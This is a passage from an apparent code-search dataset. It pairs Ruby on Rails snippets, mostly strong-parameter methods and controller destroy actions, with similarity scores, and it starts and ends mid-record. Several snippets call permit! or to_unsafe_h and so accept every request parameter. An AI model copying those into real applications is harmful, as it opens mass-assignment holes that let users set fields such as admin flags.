"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
f98e18a5dcba93890947d055cb686122 | DELETE /cached_results/1 DELETE /cached_results/1.json | [
{
"docid": "086412b880a7ada1daef255fb8d7852d",
"score": "0.7792201",
"text": "def destroy\n @cached_result = CachedResult.find(params[:id])\n @cached_result.destroy\n\n respond_to do |format|\n format.html { redirect_to cached_results_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] | [
{
"docid": "286acf6ff5d2d691c14ae1cf3b2a0242",
"score": "0.68276155",
"text": "def destroy\n @cache = Cache.find(params[:id])\n @cache.destroy\n\n respond_to do |format|\n format.html { redirect_to(caches_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7f54bd3ba2274dffdc26bcefbea0825b",
"score": "0.66923076",
"text": "def destroy\n @cache.destroy\n respond_to do |format|\n format.html { redirect_to caches_url, notice: 'Cache was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3da3333b1bd729e8f3089f180f7e66db",
"score": "0.66810393",
"text": "def destroy\n @cach.destroy\n respond_to do |format|\n format.html { redirect_to caches_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3da3333b1bd729e8f3089f180f7e66db",
"score": "0.66810393",
"text": "def destroy\n @cach.destroy\n respond_to do |format|\n format.html { redirect_to caches_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3da3333b1bd729e8f3089f180f7e66db",
"score": "0.66810393",
"text": "def destroy\n @cach.destroy\n respond_to do |format|\n format.html { redirect_to caches_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "94726a1d84fbf7f7315b9f76d1c772ce",
"score": "0.6654739",
"text": "def destroy\n @hit = Hit.find(params[:id])\n @hit.destroy\n\n respond_to do |format|\n format.html { redirect_to hits_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "00682167202a6affe3d91acbff2587c5",
"score": "0.66375005",
"text": "def destroy\n @bw_usage_cach = BwUsageCache.find(params[:id])\n @bw_usage_cach.destroy\n\n respond_to do |format|\n format.html { redirect_to bw_usage_caches_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2d9bd7c5ac03460d199b31939d827f17",
"score": "0.65811384",
"text": "def destroy\n @result.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "2d9bd7c5ac03460d199b31939d827f17",
"score": "0.65811384",
"text": "def destroy\n @result.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "d2375b11675de0e152de07976b50e9c7",
"score": "0.6575223",
"text": "def delete_request(url, queries)\n results = @@client.delete url, queries\n results.to_json\nend",
"title": ""
},
{
"docid": "06ba5c891435765decc6deae46e38acb",
"score": "0.6570242",
"text": "def destroy\n @harajs_cach = HarajsCache.find(params[:id])\n @harajs_cach.destroy\n\n respond_to do |format|\n format.html { redirect_to harajs_caches_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2854c0cc31aff9b34f9c2c2d394aaeba",
"score": "0.6517181",
"text": "def destroy\n @data_cach.destroy\n respond_to do |format|\n format.html { redirect_to data_caches_url, notice: 'Data cache was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7452c4d15daf08108aaa5a1b728adb31",
"score": "0.650779",
"text": "def destroy\n @json.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "6c0ea819501c6c40d0b99abe3886dc88",
"score": "0.65018207",
"text": "def destroy\n @result = Result.find(params[:id])\n @result.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "757b2e2e451e260f9eb7b1ae09736a1c",
"score": "0.6445783",
"text": "def destroy\n @shot_result = ShotResult.find(params[:id])\n @shot_result.destroy\n\n respond_to do |format|\n format.html { redirect_to scaffold_shot_results_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "fcbd6f2f59ff3a4d55054e6a552095d5",
"score": "0.6421148",
"text": "def destroy\n @result.destroy\n respond_to do |format|\n format.html { redirect_to results_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "026c9bea3794e4885d10092b73533b77",
"score": "0.64023226",
"text": "def destroy\n @result = Result.find(params[:id])\n @result.destroy\n\n respond_to do |format|\n format.html { redirect_to results_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a53f096ac05c5b29092a6271f268473b",
"score": "0.6400096",
"text": "def destroy\n if @file_stat.status != 'Finished'\n delete_job(@file_stat.job_id)\n end\n # \n delete_results(@file_stat._id.to_s())\n\n @file_stat.destroy\n respond_to do |format|\n format.html { redirect_to file_stats_url, notice: 'File stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8cf4adcd3e84d8199bd93a31f7a7d8a",
"score": "0.63926417",
"text": "def clean_indexes()\n uri = URI.parse(INDEX_API + '/indexes/source/' + CRAWLER_ID)\n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Delete.new(uri.request_uri)\n resp = http.request(req)\n puts resp.body\nend",
"title": ""
},
{
"docid": "2c68d12404a3ebf39976e3495a69065b",
"score": "0.63914406",
"text": "def destroy\n @cache_file.destroy\n respond_to do |format|\n format.html { redirect_to cache_files_url, notice: 'Cache file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ca406b750078974c8c568bf1f60a7360",
"score": "0.6384044",
"text": "def destroy\n @hit = Hit.find(params[:id])\n @hit.destroy\n\n respond_to do |format|\n format.html { redirect_to(hits_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4100404811700dd3c63669b85205e01c",
"score": "0.63199204",
"text": "def destroy\n @key_result.destroy\n respond_to do |format|\n format.html { redirect_to key_results_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "174b723f9e43bfa7501a9cdc389e4c1b",
"score": "0.6315759",
"text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end",
"title": ""
},
{
"docid": "763ffc4b9d5e83691220db12f5aedf8d",
"score": "0.6304408",
"text": "def test_delete\n cached = TestCache.new\n \n cached.m1\n assert cached.cached?(:m1),\"1\"\n cached.cache_delete(:m1)\n assert !cached.cached?(:m1),\"2\"\n \n cached.m2('test')\n assert cached.cached?(:m2, 'test'),\"3\"\n cached.cache_delete(:m2, 'test')\n assert !cached.cached?(:m2, 'test'),\"4\"\n end",
"title": ""
},
{
"docid": "2148e2fd9383c12872890f51efee3615",
"score": "0.6285911",
"text": "def delete\n begin\n task_id = \"#{@file}\".gsub(/\\.\\/singularity\\//, \"\").gsub(/\\.json/, \"\")\n # delete the request\n RestClient.delete \"#{@uri}/api/requests/request/#{task_id}\"\n puts \"#{task_id} DELETED\"\n rescue\n puts \"#{task_id} #{$!.response}\"\n end\n end",
"title": ""
},
{
"docid": "0a251fdcee0b7ddb071ec6ea27c83e39",
"score": "0.6284162",
"text": "def destroy\n @call_cach.destroy\n respond_to do |format|\n format.html { redirect_to call_caches_url, notice: 'Call cache was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a426ffc1b3e0805af05db69023b9bac1",
"score": "0.6271795",
"text": "def destroy\n @sampleresult = Sampleresult.find(params[:id])\n @sampleresult.destroy\n\n respond_to do |format|\n format.html { redirect_to(sampleresults_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "89029a92f706ad82b5f41fa8dbef3e6a",
"score": "0.6264923",
"text": "def destroy\n SearchAnalytic.destroy_all\n respond_to do |format|\n format.html { redirect_to show_search_analytics_url, notice: 'Stats cleared.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ecedb84c8b466d6ae5a8f5809cc69e58",
"score": "0.6264051",
"text": "def destroy\n @analysis_result = AnalysisResult.find(params[:id])\n @analysis_result.destroy\n\n respond_to do |format|\n format.html { redirect_to analysis_results_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f2f44bf6dd24c630c050257e6a3a0a9c",
"score": "0.6254052",
"text": "def destroy\n fetch_by_id\n singular.destroy\n head :no_content\n end",
"title": ""
},
{
"docid": "538819d8e636197ad6052eb364bb0ce4",
"score": "0.6250891",
"text": "def destroy\n @fruit_cache = FruitCache.find(params[:id])\n authorize! :delete, @fruit_cache\n \n @fruit_cache.destroy\n\n respond_to do |format|\n format.html { redirect_to(fruit_caches_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "538819d8e636197ad6052eb364bb0ce4",
"score": "0.6250891",
"text": "def destroy\n @fruit_cache = FruitCache.find(params[:id])\n authorize! :delete, @fruit_cache\n \n @fruit_cache.destroy\n\n respond_to do |format|\n format.html { redirect_to(fruit_caches_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "879ab4c79050636be9ef8770ec9bee33",
"score": "0.62407124",
"text": "def destroy\n @resource_result = Resource::Result.find(params[:id])\n @resource_result.destroy\n\n respond_to do |format|\n format.html { redirect_to resource_results_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4c9d9f2ceccd884ff47427ceb7a8d649",
"score": "0.62376255",
"text": "def delete_cache params = {}\n @connection.post(build_path(\"/build/prune\", params))\n end",
"title": ""
},
{
"docid": "6ee07fa5714cc9e1329ddcb2332909de",
"score": "0.6223641",
"text": "def destroy\n @hit_list.destroy\n respond_to do |format|\n format.html { redirect_to hit_lists_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "65d3c026fc61f939f324160385c3f878",
"score": "0.62018883",
"text": "def destroy\n @resultset.destroy\n respond_to do |format|\n format.html { redirect_to resultsets_url, notice: 'Resultset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fd8e3576cdcb36ff64b9810f2c4e1061",
"score": "0.6189807",
"text": "def destroy\n @file_stat = FileStat.find(params[:id])\n @file_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to file_stats_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5532844f35981351d10e8945a8f82823",
"score": "0.6183421",
"text": "def destroy\n @hit_list = HitList.find(params[:id])\n @hit_list.destroy\n\n respond_to do |format|\n format.html { redirect_to hit_lists_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d43b048bd8e039642c26ec01ce992adc",
"score": "0.61650795",
"text": "def destroy\n @query_result = QueryResult.find(params[:id])\n @query_result.destroy\n\n respond_to do |format|\n format.html { redirect_to(query_results_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1244b4dd9cd2c2513767236f093421ee",
"score": "0.61616445",
"text": "def destroy\n @import_results_from_url.destroy\n respond_to do |format|\n format.html { redirect_to import_results_from_urls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "feb05fa712cede2232b7a79bf0cdeb56",
"score": "0.61613643",
"text": "def delete\n render json: Entry.delete(params[\"id\"])\n end",
"title": ""
},
{
"docid": "ac0727605c4a9e81be073d22afedb001",
"score": "0.6152308",
"text": "def destroy\n @result = Result.find(params[:id])\n @result.destroy\n\n respond_to do |format|\n format.html { redirect_to(results_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ac0727605c4a9e81be073d22afedb001",
"score": "0.6152308",
"text": "def destroy\n @result = Result.find(params[:id])\n @result.destroy\n\n respond_to do |format|\n format.html { redirect_to(results_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a49db061722fbfea9d603f70a67dc0ab",
"score": "0.6151567",
"text": "def test_delete_not_exist_metric\n not_exist_id = '10000'\n output = `curl -X DELETE http://localhost:8080/metrics/metrics/#{not_exist_id}`\n assert_match \"<html>\", output, \"TEST 5: delete not existing metric - FAILED\"\n end",
"title": ""
},
{
"docid": "8660ee563d646e887f9e72544f8f7d11",
"score": "0.6150991",
"text": "def destroy\n @scale_result.destroy\n respond_to do |format|\n format.html { redirect_to scale_results_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1fd20b4987a3bdbd86a372802e0d82d0",
"score": "0.6149223",
"text": "def delete_cache\n PageCache.sweep_all\n flash[:notice] = 'All cache is deleted'\n redirect_to :action => 'index'\n end",
"title": ""
},
{
"docid": "1fd20b4987a3bdbd86a372802e0d82d0",
"score": "0.6149223",
"text": "def delete_cache\n PageCache.sweep_all\n flash[:notice] = 'All cache is deleted'\n redirect_to :action => 'index'\n end",
"title": ""
},
{
"docid": "b3ffb49259341f7d5b0392850d591997",
"score": "0.61484873",
"text": "def expire_json1\n expire_action :json1 #action: :index, format: :json\n head :ok\n end",
"title": ""
},
{
"docid": "d1c0f8569cb30cd0c6e5fe278df55d4c",
"score": "0.61462873",
"text": "def destroy\n @indexed_activity.destroy\n respond_to do |format|\n format.html { redirect_to indexed_activities_url, notice: 'Indexed activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f48164883cc8d54b7faae7c2b48ecd14",
"score": "0.6146248",
"text": "def destroy\n @instance_info_cach = InstanceInfoCach.find(params[:id])\n @instance_info_cach.destroy\n\n respond_to do |format|\n format.html { redirect_to instance_info_caches_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b1a17c1ee1af05c79fe156622df44818",
"score": "0.6144819",
"text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end",
"title": ""
},
{
"docid": "6f05f2689455b9dac5fc467c68b3178a",
"score": "0.6138692",
"text": "def destroy\n @result.destroy\n\n respond_to do |format|\n format.html { redirect_to(results_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "707dac19d2e147039b36d1b7cd402650",
"score": "0.6138434",
"text": "def destroy\n @crm_result = CrmResults.find(params[:id])\n @crm_result.destroy\n\n respond_to do |format|\n format.html { redirect_to crm_results_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a3c541f14459e116655c873dfe7c85f3",
"score": "0.6129561",
"text": "def v3_delete(path)\n # Expire cached objects from here on down\n expire_matching \"#{parent_path(path)}.*\"\n # Create request parameters\n delete_params = { \n :method => \"delete\" \n }\n # Request\n v3_do_request(delete_params, path)\n end",
"title": ""
},
{
"docid": "bad44518bd8f66624b560724d4924b87",
"score": "0.61289895",
"text": "def destroy\n @grep_result_entry.destroy\n respond_to do |format|\n format.html { redirect_to grep_result_entries_url, notice: 'Grep result entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cc2f9c7c62c7857ec2c06f467b39995e",
"score": "0.612683",
"text": "def destroy\n @feedcach = Feedcache.find(params[:id])\n @feedcach.destroy\n\n respond_to do |format|\n format.html { redirect_to feedcaches_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "107f46663d25cc80dac2f5840e081c4e",
"score": "0.61182857",
"text": "def delete_cache\r\n #TODO - a script in Tool folder does this\r\n end",
"title": ""
},
{
"docid": "bce8f2a50be23a8c533aba5e9f1a8e9d",
"score": "0.61172444",
"text": "def destroy\n @http_path_rule = collection.find(params[:id])\n @http_path_rule.destroy\n @core_application.send_to_redis\n\n respond_to do |format|\n format.html { redirect_to @core_application }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8ca0ce32914e53e29d9a82f3488c5ecd",
"score": "0.6110647",
"text": "def destroy\n @metric_http.destroy\n respond_to do |format|\n format.html { redirect_to metric_https_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "33ae3fbaabb68170de9f95477c22d5d1",
"score": "0.611043",
"text": "def delete_json(path)\n retries = 0\n begin\n return resource(path).delete()\n rescue => e\n if e.kind_of?(RestClient::Exception) and e.http_code == 503 and retries < RETRY_503_MAX\n # the G5K REST API sometimes fail with error 503. In that case we should just wait and retry\n puts(\"G5KRest: DELETE #{path} failed with error 503, retrying after #{RETRY_503_SLEEP} seconds\")\n retries += 1\n sleep RETRY_503_SLEEP\n retry\n end\n handle_exception(e)\n end\n end",
"title": ""
},
{
"docid": "65fbb5ca210fe43dd2a69c1631fa3fe1",
"score": "0.6109759",
"text": "def destroy\n @metric = Metric.find(params[:id])\n @metric.destroy\n\n render json: { text: \"success\"}\n end",
"title": ""
},
{
"docid": "4980bc37c33635ad1cdad8698641add9",
"score": "0.610954",
"text": "def delete_cache_by_sort\n Rails.cache.delete_matched(\"/submissions/sort/*\")\n Rails.cache.delete_matched(\"controller/submissions/*\")\n end",
"title": ""
},
{
"docid": "b39a186791cfca0315336a1ab7827088",
"score": "0.6098824",
"text": "def destroy\n @metric = Metric.find(params[:id])\n @metric.destroy\n\n respond_to do |format|\n format.html { redirect_to metrics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b39a186791cfca0315336a1ab7827088",
"score": "0.6098824",
